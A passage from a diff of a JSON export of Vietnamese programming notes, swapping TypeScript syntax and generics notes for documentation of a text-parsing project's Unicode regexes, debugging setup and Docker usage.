câu nhập `gạo, xà bông 50k ở chợ vợ trả` thì khốiKếtQuả sẽ trông như sau:\r\n\r\n| $j →$ $i ↓$ | $0$ | $1$ | $2$ |\r\n| ----------- | ---------------------- | --------------------------------------------------- | ----------------------- |\r\n| $0$ | `[ 'gạo', 'xà bông' ]` | `[ 'Lương thực/tinh bột', 'Sinh hoạt/đồ vệ sinh' ]` | `[ [0, 3]`, `[5, 12]` ] |\r\n| $1$ | `[ 'vợ trả' ]` | `[ 'Tiền mặt' ]` | `[ [23, 29]` ] |\r\n| $2$ | `[ 'chợ' ]` | `[ 'Tiểu thương' ]` | `[ [19, 22]` ] |\r\n\r\nXem thêm ưu và nhược điểm của cách biểu diễn dữ liệu này và của những cách khác tại đây: https://softwareengineering.stackexchange.com/q/446480/192731\r\n\r\n\r\n[[Hướng dẫn đọc code cho người thấy việc biết lập trình là quan trọng nhưng không thể biến nó trở thành ưu tiên cao nhất]]\r\n[[Mô hình trích chọn từ]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-09-12T09:42:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ww" + "id": "ae" }, { - "Tiêu đề": "Các ký hiệu trong TS", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Các ký hiệu trong TS", + "Tiêu đề": "Chiều, từ và nhãn", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/3. Hiểu code nói gì/Chiều, từ và nhãn", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## 1. Unions type: |\r\n\r\nTrong javascript thì kí hiệu | để tính bit : Toán tử OR (|) sẽ trả về 1 nếu 1 trong mỗi vị trí của các bit tương ưng có có bit có giá trị là 1 hoặc cả hai đều có 1. Trong javascipt example :\r\n\r\n```ts\r\nconst a = 5;\r\nconst b = 3;\r\nconsole.log(a | b);\r\n// expected output: 7\r\n```\r\n\r\nCách nó trả về kết quả là 7 : 5 có mã nhị phân là 101, 3 có mã nhị phân là 011 Tính theo phương thức OR sẽ có kết quả 111.\r\n\r\n![](https://images.viblo.asia/b140c43c-102a-4fd4-a9f4-dc29b4f0cbc4.png) Trong TypeScript là 1 extension của Javascript thì bạn có thể dùng như trên, ngoài ra trong typescript bạn có thể dùng (|) để biểu thị unions type:\r\n\r\n![](https://images.viblo.asia/d9fbd057-260b-4d37-a7c4-dd5367d37eef.png)\r\n\r\nĐôi khi một kiểu có 1 vài giá trị khả dĩ vì vậy chúng ta có thể sử dụng unions type để biểu diễn chúng :\r\n\r\n```ts\r\ntype HttpMethod = \"GET\" | \"POST\" | \"PATCH\" | \"DELETE\";\r\nfunction xhr(method: HttpMethod, url: string): void {\r\n console.log(`${method}: ${url}`);\r\n}\r\n```\r\n\r\nTypeScript sẽ kiểm tra kiểu mà chúng ta cung cấp ở trên :\r\n\r\n![](https://images.viblo.asia/e05c792e-dcf3-475a-aa23-a16fda01aa9c.png)\r\n\r\nNó sẽ chúng ta ko có kiểu \"Get\" ở trên giúp tránh được rất nhiều lỗi.\r\n\r\n## 2. Intersection Types: &\r\n\r\nGiống với toán tử | , toán tử & cũng để so sánh bit. Trong typescript , & cũng có thể được sử dụng để chỉ ra loại giao nhau :\r\n\r\n```ts\r\ninterface Runnable{\r\n run(): void;\r\n}\r\ninterface Swimmable{\r\n swim(): void;\r\n}\r\n```\r\n\r\nSau đó , chúng ta define ra 1 kiểu mới , kiểu Goose vừa có thể bơi vừa có thể run :\r\n\r\n```ts\r\ntype Goose = Runnable & Swimmable;\r\n```\r\n\r\n![](https://images.viblo.asia/c4220452-3230-4823-8999-1942d5f196c6.png)\r\n\r\nNếu parameter ko đủ cả 2 interface thì trình biên dịch sẽ báo lỗi :\r\n\r\n![](https://images.viblo.asia/88a3ce80-f244-421f-8042-a7e63f299205.png)\r\n\r\n## 3. Numeric Separators: _\r\n\r\nNếu trong code bạn viết 1 đoạn số rất dài bạn có thể viết :\r\n\r\n```ts\r\nlet total = 12_2300_222;\r\n```\r\n\r\ncách này giúp bạn khỏi mất vài giây để đọc nhưng số dài.\r\n\r\n## 4. Non-null assertion operator: !\r\n\r\nTrong Javascript toán tử ! dùng để đảo ngược giá trị boolean.\r\n\r\n```ts\r\n!false // return true\r\n!true // return false\r\nlet flag = false;\r\nflag = !flag;\r\nconsole.log(flag); // true\r\n```\r\n\r\nTrong Typescript bạn có thể sử dụng nó như sau :\r\n\r\n![](https://images.viblo.asia/9c604dec-2c62-4fa0-a30c-383090139755.png)\r\n\r\nTrong đoạn code trên maybeString có thể là 1 chuỗi string hoặc null. Nếu bạn chắc maybeString luôn luôn là chuỗi string thì bạn có thể dùng cách sau để complile ko bị lỗi :\r\n\r\n![](https://images.viblo.asia/5a5d7bcc-6d57-4232-9da2-1927500563ed.png)\r\n\r\n## 5. Optional notation: ?\r\n\r\nKí hiệu này có 2 cách dùng : ?. and ?:\r\n\r\n**Optional Chaining: ?.** Thi thoảng , 1 object có chứa thuộc tính đấy hay không , điều này có thể khiến cho việc viết mã trở nên khó.\r\n\r\nJavascript code :\r\n\r\n`function getCity(user){ return user.location.city }`\r\n\r\nNếu user ko có param location thì sẽ bị lỗi runtime:\r\n\r\n![](https://images.viblo.asia/5db94b10-9671-4471-9e4e-f83ef4451ea7.png)\r\n\r\nĐể sửa lỗi trên thì trong javascirpt sẽ viết :\r\n\r\n```ts\r\nfunction getCity(user){\r\n return user.location ? user.location.city : undefined\r\n}\r\n```\r\n\r\nCách trên thì chúng ta check xem user.location có tồn tại ko thì trả về giá trị city còn ko sẽ trả về undefined.\r\n\r\nCách trên viết hơi rắc rối 1 chút, trong typescirpt có thể viết như sau :\r\n\r\n```ts\r\nfunction getCity(user: any){\r\n return user.location?.city\r\n}\r\ngetCity({name: 'Jon'})\r\n```\r\n\r\nNếu user.location ko có giá trị thì ngừng truy cập vào biến city.\r\n\r\nĐoạn code trên sẽ biên dịch như sau :\r\n\r\n```ts\r\nfunction getCity(user) {\r\n var _a;\r\n return (_a = user.location) === null || _a === void 0 ? void 0 : _a.city;\r\n}\r\n```\r\n\r\nvoid 0 sẽ tương ứng với undefined.\r\n\r\n- Kí hiệu ? cũng được sử dụng trong khi gọi hàm . Ví dụ đoạn code javascript sau :\r\n\r\n```ts\r\nfunction run(obj){\r\n obj.run()\r\n}\r\n```\r\n\r\n![](https://images.viblo.asia/180cf4b8-e53a-4ce2-b0a3-74b8148aac92.png)\r\n\r\nNếu tham số obj ko có hàm run thì sẽ báo lỗi như trên, bạn có thể viết như sau trong typescript để complie 1 cách an toàn :\r\n\r\n```ts\r\nfunction run(obj: any){\r\n obj.run?.()\r\n}\r\nrun({})\r\n```\r\n\r\n**Optional Properties: ?:** Ngoài việc sử dụng toán tử trên để check object có thuộc tính hay không bạn có thể dùng nó khi define 1 thuộc tính :\r\n\r\n![](https://images.viblo.asia/f14977e8-78e1-475d-8da6-318e13ba9377.png) Lỗi này là do trình biên dịch mong đợi user1 bắt buộc phải khởi tạo 2 thuộc tính là name và email. Nhưng trong thực tế bạn chỉ muốn truyền value name và value email có thể là trường ko bắt buộc , bạn có thể sửa bằng cách viết như sau :\r\n\r\n![](https://images.viblo.asia/30b01a27-82ee-43b1-ae72-4129ea36200a.png)\r\n\r\nThêm dấu ? vào sau thuộc tính để báo rằng value của thuộc tính này là tuỳ chọn.\r\n\r\n## 6. Nullish coalescing operator: ??\r\n\r\n```ts\r\nlet a = null\r\nlet b = a ?? \"default string\"; // default string\r\n```\r\n\r\nDấu ?? trên có ý nghĩa nếu a có giá trị null thì sẽ b sẽ nhận giá trị \"default string \" còn ngược lại sẽ nhận giá trị a.\r\n\r\n## 7. Private property:\r\n\r\nĐể báo cho trình biên dịch biết class có thuộc tính private thì ta viết # trước thuộc tính đấy :\r\n\r\n```ts\r\nclass Person{\r\n #name: string;\r\n constructor(name: string) {\r\n this.#name = name\r\n }\r\n greet(){\r\n console.log(`Hello, I am ${this.#name}`)\r\n }\r\n}\r\n```\r\n\r\nVậy các bạn sẽ thắc mắc từ khoá # khác gì từ khoá private:\r\n\r\n```ts\r\nclass Person {\r\n\t#name: string;\r\n\tprivate location: string;\r\n\r\n\tconstructor(name: string, location: string) {\r\n\tthis.#name = name;\r\n\tthis.location = location;\r\n\t}\r\n}\r\n```\r\n\r\nCác thuộc tính khai bao từ khoá private sẽ tồn tại trong instance và chúng ta có thể force access vào chúng còn thuộc tính khai báo # sẽ ko lưu trữ trực tiếp trong instance :\r\n\r\n```ts\r\nclass Person {\r\n\t#name: string;\r\n\tprivate location: string;\r\n\r\n\tconstructor(name: string, location: string) {\r\n\tthis.#name = name;\r\n\tthis.location = location;\r\n\t}\r\n}\r\n\r\nlet json = new Person (\"Jon\", \"viet\");\r\nconsole.log((json as any).location); // viet\r\nconsole.log((json as any).name); // undefined\r\n```\r\n\r\n## 8. Angle brackets: <>\r\n\r\nTừ khoá này dùng ở 2 nới : một cho type assertions và hai cho generic types\r\n\r\n## Type assertions\r\n\r\n![](https://images.viblo.asia/42a4326e-8f54-4199-8893-1ca060ea098c.png)\r\n\r\nVì khi compiler, someValue có nhận vào 2 type string hoặc number nó sẽ ko match với tham số của function doubleString. Phân tích code 1 chút chúng ta có thể thấy someValue có thể là kiểu string .Chúng ta có thể sử dụng <> để nói với trình biên dịch rằng : someValue phải là string.\r\n\r\n![](https://images.viblo.asia/f07075a3-1ea0-4d20-8cb1-feee71f14c0b.png)\r\n\r\nTuy nhiên TSLint, không khyết khích bạn sử dụng cách trên thay vào đó hãy sử dụng :\r\n\r\n![](https://images.viblo.asia/c09682bc-ea14-4bc6-b405-4e18501ee39c.png)\r\n\r\n## 9. Generic types\r\n\r\nDùng Typescript giúp chúng ta viết code nó an toàn hơn nhưng cũng hy sinh tính linh hoạt của javascript. Ví dụ nếu ta viết function add gồm 2 đối số có thể string hoặc number, chúng ta sẽ viết như sau trong javascript :\r\n\r\n```ts\r\nfunction add(a, b){\r\n return a + b\r\n}\r\n```\r\n\r\nTuy nhiên, rất khó thực hiện trong typescript , bạn khó có thể viết :\r\n\r\n```ts\r\nfunction add(a: string | number, b: string | number) {\r\n return a + b;\r\n}\r\n```\r\n\r\nbởi vì không thể thêm trực tiếp các kiểu union type, trình biên dịch sẽ báo lỗi , hoặc bạn có thể viết kiểu dưới nhưng rất hard code :\r\n\r\n```ts\r\nfunction addString(a: string, b: string) {\r\n return a + b;\r\n}\r\nfunction addNumber(a: number, b: number) {\r\n return a + b;\r\n}\r\n```\r\n\r\nTrong trường hợp trên chúng ta có thể viết như sau :\r\n\r\n```ts\r\nfunction add<T>(a: T, b: T){\r\n return a as any + b\r\n}\r\n```\r\n\r\nĐoạn mã có nghĩa là hàm add chưa chắc chắn loại kiểu dữ liệu nào vì vậy chúng ta sẽ chuyền kiểu dữ liệu khi chúng ta sử dụng chúng :\r\n\r\n![](https://images.viblo.asia/16fc4eb7-68f6-42ba-9ee4-52bf0837486a.png)\r\n\r\n## 10. Decorators: @\r\n\r\ngiả sử chúng ta có 1 chức năng sau :\r\n\r\n```ts\r\nfunction hello(name) {\r\n console.log(\"Hello \" + name)\r\n}\r\n```\r\n\r\nChúng tôi muốn sẽ in ra log mỗi call hello , bạn sẽ làm như thế nào ? Trong javascript sẽ ko có cách nào thực hiện điều này trực tiếp nhưng chúng ta có thể wrap hello với decorator function :\r\n\r\n![](https://images.viblo.asia/ba5fac39-e478-4388-9f0d-5d2e2f79ba93.png)\r\n\r\nThe results:\r\n\r\n```ts\r\nStart execute function \"hello\" at 2021-03-17T04:15:47.724Z\r\nHello Jack\r\n```\r\n\r\nTrong JS điều này nó ko được thanh lịch lắm nhưng trong typescript đã cung cấp decorator sytax để làm điều này : Ví dụ :\r\n\r\n```ts\r\nclass Friend {\r\n name: string;\r\n constructor(name: string) {\r\n this.name = name\r\n }\r\n hello() {\r\n console.log(this.name + \" says: Hello\")\r\n }\r\n}\r\n```\r\n\r\nkhi bạn muốn in ra log khi call hàm hello , bạn có thể chỉ đinh decorator function logging lên hàm hello .\r\n\r\nNếu bạn muốn define lại 1 hàm decorator cho 1 lớp thì hàm decorator phải có định dạng sau :\r\n\r\n```ts\r\nfunction logging(target: any, propertyKey: string,\r\n descriptor: PropertyDescriptor) {\r\n // do something\r\n}\r\n```\r\n\r\nKết quả :\r\n\r\n```ts\r\nfunction logging(target: any, propertyKey: string,\r\n descriptor: PropertyDescriptor) {\r\n let func: Function = target[propertyKey];\r\nconsole.log(`Start execute function \"${func.name} at ${new Date().toISOString()}`);\r\n}\r\n\r\nclass Friend {\r\n name: string;\r\n constructor(name: string) {\r\n this.name = name\r\n }\r\n @logging\r\n hello() {\r\n console.log(this.name + \" says: Hello\")\r\n }\r\n}\r\n\r\nlet friend = new Friend(\"le huu dung\");\r\nfriend.hello();\r\n```\r\n\r\nKết quả sau khi run đoạn code trên :\r\n\r\n```ts\r\n\"Start execute function \"hello at 2021-09-19T15:22:13.024Z\" \r\n```\r\n\r\nĐây là cách mà chúng ta ghi ra nhật khi log vào nhiều phương thức mà ko cần thay đổi phương thức đó.\r\n\r\nBài viết của mình đến đây là hết , cám ơn bạn đã xem.\r\n\r\n## Tài liệu tham khảo :\r\n\r\n[https://javascript.plainenglish.io/10-confusing-typescript-n", + "Toàn bộ nội dung": "| Từ khoá | Nhãn = loại chiều = loại món đồ | Chiều | Tên nhãn |\r\n| ---- | ---- | ---- | ---- |\r\n| cá | Thực phẩm | Món đồ | Loại món đồ |\r\n\r\n\r\nChiều là nguyên cái cục.\r\n```ts\r\ninterface KhaiBáoChiều {\r\n 'Tên chiều': TênChiều,\r\n 'Dữ liệu tự nhận dạng': DữLiệuTựNhậnDạng,\r\n 'Ký tự để nhập trực tiếp'?: {Từ: string[], Nhãn: string[]},\r\n 'Tên gọi đầu ra'?: {Từ: string, Nhãn: string}\r\n}\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-21T10:48:00.000Z", + "Ngày tạo": "2023-09-16T06:22:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wx" + "id": "af" }, { - "Tiêu đề": "generic là biến dành cho kiểu", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Generic/generic là biến dành cho kiểu", + "Tiêu đề": "Ý nghĩa của biểu thức regex trong hàm lọcDữLiệuCầnTựĐộngNhậnDạng()", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/3. Hiểu code nói gì/Ý nghĩa của biểu thức regex trong hàm lọcDữLiệuCầnTựĐộngNhậnDạng()", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[generic là cách để giữ được tính chung chung mà vẫn không bị mất thông tin]]\r\nBiến (variable) thì để trong `( )`, còn biến kiểu (type variable) thì để trong `< >`\r\n\r\nVí dụ, đây là cách viết hàm như bình thường:\r\n```js\r\nfunction f(x)\r\n```\r\nTrước giờ nếu muốn khai báo kiểu cho cả hàm và biến thì phải viết thế này:\r\n```ts\r\ninterface t { u }\r\nfunction f(x: t): t\r\n```\r\nNhưng cách viết này thì `u` bị giữ cố định trong code. Nó là hằng rồi chứ không phải là biến. Nếu muốn nó cũng là biến thì ngay trong hàm cũng phải khai báo `t` như thể nó là một biến.\r\n\r\nNếu có thể viết chỉ số dưới chân cả hai như vậy thì tiện:\r\n```ts\r\nfₜ(xₜ)\r\n```\r\n\r\nNhưng vì không dùng unicode được nên viết như thế này:\r\n```js\r\nf(t)(x) \r\n```\r\nNhưng nếu vậy thì không phân biệt được cái nào thực sự là biến dành cho hàm, cái nào là biến dành cho kiểu. Để phân biệt thì ta dùng ngoặc nhọn:\r\n```ts\r\nf<t>(x) \r\n```\r\nRồi sau đó khai báo kiểu cho biến và hàm như bình thường:\r\n```ts\r\nf<t>(x: t): t\r\n```\r\nĐây chính là cú pháp của generic. Ví dụ:\r\n```ts\r\nfunction identity<Type>(arg: Type): Type { return arg;}\r\n```\r\n\r\nCũng giống như ta có thể có nhiều biến trong hàm, ta cũng có thể có nhiều biến kiểu trong hàm:\r\n```ts\r\nf<t, u>(x, y) \r\n```\r\n", + "Toàn bộ nội dung": "Biểu thức regex chỉ nhận những từ phía trước không có ký tự nào. Như vậy thì người dùng ghi `cát` thì script sẽ không tưởng lầm là có `cá`, ghi `đáo` thì sẽ không tưởng lầm là có `áo`.\n \n Đoạn ghi chú ngay sau đây dành cho người đã có hiểu biết về regex:\n - Ý tưởng ban đầu: dùng `\\\\b + từ + \\\\b`\n - Khó khăn của việc bắt regex tiếng Việt: `\\b` không hỗ trợ cho Unicode. Để bắt Unicode đúng thì có thể thay bằng `\\P{L}`, vốn tương đương với `\\W`. Điều này đòi hỏi ở câu nhập phải thêm 2 khoảng trắng ở 2 bên. Xem thêm: [[Tiếng Việt có 2 cách đặt dấu thanh, căn cứ vào thẩm mỹ hoặc vào ngữ âm]], [[Không dùng b ngay sau ký tự unicode được|Ký tự unicode nếu dùng \\b ngay sau thì không được]]\n - Khó khăn của Fibery: `\\P{L}` chạy rất lâu, mà Fibery chỉ cho thời gian chạy tối đa là 1000ms\n - Khó khăn của bài toán: không dùng `' ' + từ + ' '` được vì ngoài dấu cách ra còn có thể có nhiều dấu câu khác\n- Sau một hồi loay hoay thì dùng phương pháp này:\n```js\nconst khôngPhảiKýTựChữNào = `(\\b|[^aAàÀảẢãÃáÁạẠăĂằẰẳẲẵẴắẮặẶâÂầẦẩẨẫẪấẤậẬbBcCdDđĐeEèÈẻẺẽẼéÉẹẸêÊềỀểỂễỄếẾệỆfFgGhHiIìÌỉỈĩĨíÍịỊjJkKlLmMnNoOòÒỏỎõÕóÓọỌôÔồỒổỔỗỖốỐộỘơƠờỜởỞỡỠớỚợỢpPqQrRsStTuUùÙủỦũŨúÚụỤưƯừỪửỬữỮứỨựỰvVwWxXyYỳỲỷỶỹỸýÝỵỴzZ0123456789-_])`\nconst regex = new RegExp(khôngPhảiKýTựChữNào + từ + khôngPhảiKýTựChữNào, `giu`);\n```\n- Sau đó khi cần dùng tới hàm `replace()` khi thay từ viết tắt thì chuyển lại sang dạng nhìn trước không có và nhìn sau không có (negative lookahead and negative lookbehind):\n```js\nconst ANY_CHAR = '[aAàÀảẢãÃáÁạẠăĂằẰẳẲẵẴắẮặẶâÂầẦẩẨẫẪấẤậẬbBcCdDđĐeEèÈẻẺẽẼéÉẹẸêÊềỀểỂễỄếẾệỆfFgGhHiIìÌỉỈĩĨíÍịỊjJkKlLmMnNoOòÒỏỎõÕóÓọỌôÔồỒổỔỗỖốỐộỘơƠờỜởỞỡỠớỚợỢpPqQrRsStTuUùÙủỦũŨúÚụỤưƯừỪửỬữỮứỨựỰvVwWxXyYỳỲỷỶỹỸýÝỵỴzZ0123456789-_]'\nconst regex = new RegExp('(?<!' + ANY_CHAR + ')' + từ + '(?!' + ANY_CHAR + ')')\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wy" + "Ngày tạo": "2023-09-19T16:42:00.000Z", + "Ngày cập nhật": "2024-08-25T13:54:00.000Z", + "id": "ag" }, { - "Tiêu đề": "generic là cách để giữ được tính chung chung mà vẫn không bị mất thông tin", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Generic/generic là cách để giữ được tính chung chung mà vẫn không bị mất thông tin", + "Tiêu đề": "Ý nghĩa của biểu thức regex trong hàm lọcSốTiền()", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/3. Hiểu code nói gì/Ý nghĩa của biểu thức regex trong hàm lọcSốTiền()", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "To start off, let’s do the “hello world” of generics: the identity function. The identity function is a function that will return back whatever is passed in. You can think of this in a similar way to the `echo` command.\r\n\r\nWithout generics, we would either have to give the identity function a specific type:\r\n\r\n```ts\r\nfunction identity(arg: number): number { \r\n\treturn arg;\r\n}\r\n```\r\n\r\n[Try](https://www.typescriptlang.org/play/#code/GYVwdgxgLglg9mABDAJgUzLKBPAFAQwCcBzALkTBAFsAjNQgSnMtvsQG8AoRRQtKEISRFiAbk4BfIA)\r\n\r\nOr, we could describe the identity function using the `any` type:\r\n\r\n```ts\r\nfunction identity(arg: any): any {\r\n\treturn arg;\r\n}\r\n```\r\n[Try](https://www.typescriptlang.org/play/#code/GYVwdgxgLglg9mABDAJgUzLKBPAFAQwCcBzALkXzGwEpzLtEBvAKEUULShEKSOIG5mAXyA)\r\n\r\nWhile using `any` is certainly generic in that it will cause the function to accept any and all types for the type of `arg`, we actually are losing the information about what that type was when the function returns. If we passed in a number, the only information we have is that any type could be returned.\r\n\r\nInstead, we need a way of capturing the type of the argument in such a way that we can also use it to denote what is being returned. Here, we will use a _type variable_, a special kind of variable that works on types rather than values.\r\n\r\n```ts\r\nfunction identity<Type>(arg: Type): Type {\r\n\treturn arg;\r\n}\r\n```\r\n\r\n[Try](https://www.typescriptlang.org/play/#code/GYVwdgxgLglg9mABDAJgUzLKBPAPAFWwAc0A+ACgEMAnAcwC5FCSBKR5tRAbwChFFqaKCGpIatANw8AvkA)\r\n\r\nWe’ve now added a type variable `Type` to the identity function. This `Type` allows us to capture the type the user provides (e.g. `number`), so that we can use that information later. Here, we use `Type` again as the return type. On inspection, we can now see the same type is used for the argument and the return type. This allows us to traffic that type information in one side of the function and out the other.\r\n\r\nWe say that this version of the `identity` function is generic, as it works over a range of types. Unlike using `any`, it’s also just as precise (i.e., it doesn’t lose any information) as the first `identity` function that used numbers for the argument and return type.\r\n\r\nNguồn:: [TypeScript: Documentation - Generics](https://www.typescriptlang.org/docs/handbook/2/generics.html)\r\n[[generic là biến dành cho kiểu]] \r\n", + "Toàn bộ nội dung": "```js\r\nconst ANY_CHAR = '[aAàÀảẢãÃáÁạẠăĂằẰẳẲẵẴắẮặẶâÂầẦẩẨẫẪấẤậẬbBcCdDđĐeEèÈẻẺẽẼéÉẹẸêÊềỀểỂễỄếẾệỆfFgGhHiIìÌỉỈĩĨíÍịỊjJkKlLmMnNoOòÒỏỎõÕóÓọỌôÔồỒổỔỗỖốỐộỘơƠờỜởỞỡỠớỚợỢpPqQrRsStTuUùÙủỦũŨúÚụỤưƯừỪửỬữỮứỨựỰvVwWxXyYỳỲỷỶỹỸýÝỵỴzZ0123456789-_]'\r\nconst regexSốTiền = new RegExp('=? *(\\\\d|,|\\\\.)+ ?(k|tr|d|đ)(?!' + ANY_CHAR + ')', 'giu');\r\n```\r\nÝ nghĩa của biểu thức regex số tiền:\r\n- `=? ` nghĩa là có thể có một dấu bằng (`=`) trước số tiền tổng. Dấu bằng đó có thể cách hoặc không cách con số đó\r\n- `(\\d|,|\\.)+` khớp với một hoặc nhiều chữ số, dấu phẩy hoặc dấu chấm\r\n- ` ?(k|tr|d|đ)` dùng để đảm bảo rằng con số vừa tìm được là số tiền chứ không phải là một con số bất kỳ. Nó biết được điều này bằng việc tìm một trong các ký tự `k`, `tr`, `d` hoặc `đ`. Các ký tự này có thể có hoặc không có một dấu cách với con số đứng trước nó\r\n- `(?!ANY_CHAR)` đảm bảo rằng đứng ngay sau đơn vị tiền không có chữ cái nào hết, phòng trường hợp những ký tự này nằm trong một từ nào đó\r\n\r\nVí dụ:\r\n- `đi chợ 3 tr + 30k` → bắt được `3 tr`, `40k`\r\n- `gạo 30k + rau 40k = 70k` → bắt được `30k`, `40k`, `= 70k`\r\n- `sách 40 trang, 10 đèn cầy` → không bắt được cái nào, dù có `40 tr` và `10 đ` ở trong đó\r\n\r\nSố tiền bắt buộc phải có đơn vị đằng sau vì có những trường hợp mua nhiều món, hoặc có số trong tên. Vd: `3 ly cà phê 100k`, `keo 502 3k`", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-09-19T16:23:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Wz" + "id": "ah" }, { - "Tiêu đề": "generic là tính từ, không phải danh từ", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Generic/generic là tính từ, không phải danh từ", + "Tiêu đề": "Chạy chương trình định kỳ", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/4. Thành phần bổ trợ/Chạy chương trình định kỳ", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [There Is No Such Thing As A Generic | Total TypeScript](https://www.totaltypescript.com/no-such-thing-as-a-generic)\r\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-08-25T07:20:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "W-" + "id": "ai" }, { - "Tiêu đề": "Index signature giúp khai báo kiểu của tên thuộc tính và giá trị của nó trong vật thể, dù không biết vật thể đó có cấu trúc thế nào", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Index signature giúp khai báo kiểu của tên thuộc tính và giá trị của nó trong vật thể, dù không biết vật thể đó có cấu trúc thế nào", + "Tiêu đề": "Hướng dẫn debug", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/4. Thành phần bổ trợ/Hướng dẫn debug", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "The syntax of an index signature is simple and looks similar to the syntax of a property. But with one difference: write the type of the key inside the square brackets: `{ [key: KeyType]: ValueType }`.\r\n\r\nNguồn:: [Index Signatures in TypeScript](https://dmitripavlutin.com/typescript-index-signatures/)\r\n\r\n[[Index signature và record là các cách khai báo kiểu vật thể]] \r\n", + "Toàn bộ nội dung": "# Chỉnh launch.json\r\n[[launch.json dùng để thiết lập debugger]]\r\n\r\n1. Mở VS Code lên\r\n2. Bấm vào nút ![Extensions view trong VS Code](https://code.visualstudio.com/assets/docs/editor/extension-marketplace/extensions-view-icon.png) ở thanh bên trái và kiếm `Deno extension`. Bấm cài đặt\r\n3. Bấm <kbd>Ctrl + Shift + P</kbd> và chọn *Deno: Initialize Workspace Configuration*\r\n4. Đảm bảo rằng file `launch.json` trong thư mục `.vscode` có dạng như sau:\r\n\r\n```json\r\n{\r\n \"version\": \"0.2.0\",\r\n \"configurations\": [\r\n {\r\n \"request\": \"launch\",\r\n \"name\": \"Launch Program\",\r\n \"type\": \"node\",\r\n \"program\": \"${workspaceFolder}/test/main.debug.js\",\r\n \"cwd\": \"${workspaceFolder}\",\r\n \"runtimeExecutable\": \"XXXXX\",\r\n \"runtimeArgs\": [\r\n \"run\",\r\n \"--unstable\",\r\n \"--inspect-wait\",\r\n \"--allow-all\",\r\n ],\r\n \"attachSimplePort\": 9229\r\n }\r\n ]\r\n}\r\n```\r\nTrong đó XXXXX là đường dẫn đến tập tin `deno.exe`. Có thể kiếm bằng cách bật CMD lên và nhập `where deno`\r\n\r\n# Phím tắt\r\n\r\n\r\n| Phím tắt | Chức năng |\r\n| ---------------- | ---------------- |\r\n| F5 | Chạy code |\r\n| F9 | Tạo breakpoint |\r\n| Ctrl + Shift + D | Mở debug sidebar |\r\n| Ctrl + ` | Mở terminal |\r\n| Ctrl + Shift + Y | Mở debug console | \r\n\r\n## Cách kiểm tra và sửa lỗi\r\n\r\nCài thêm các plugin: Total TypeScript, Turbo Console Log\r\n![](https://i.imgur.com/iWUq8jB.png)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-08-25T07:20:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "W_" + "id": "aj" }, { - "Tiêu đề": "Index signature và record là các cách khai báo kiểu vật thể", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/JavaScript và Python/JavaScript/TypeScript/Index signature và record là các cách khai báo kiểu vật thể", + "Tiêu đề": "Sử dụng Docker", + "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/4. Thành phần bổ trợ/Sử dụng Docker", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Record Type in TypeScript: A Quick Intro](https://dmitripavlutin.com/typescript-record/)\r\n", + "Toàn bộ nội dung": "```\r\ndocker run -rm -it kendy/tranky bash\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": 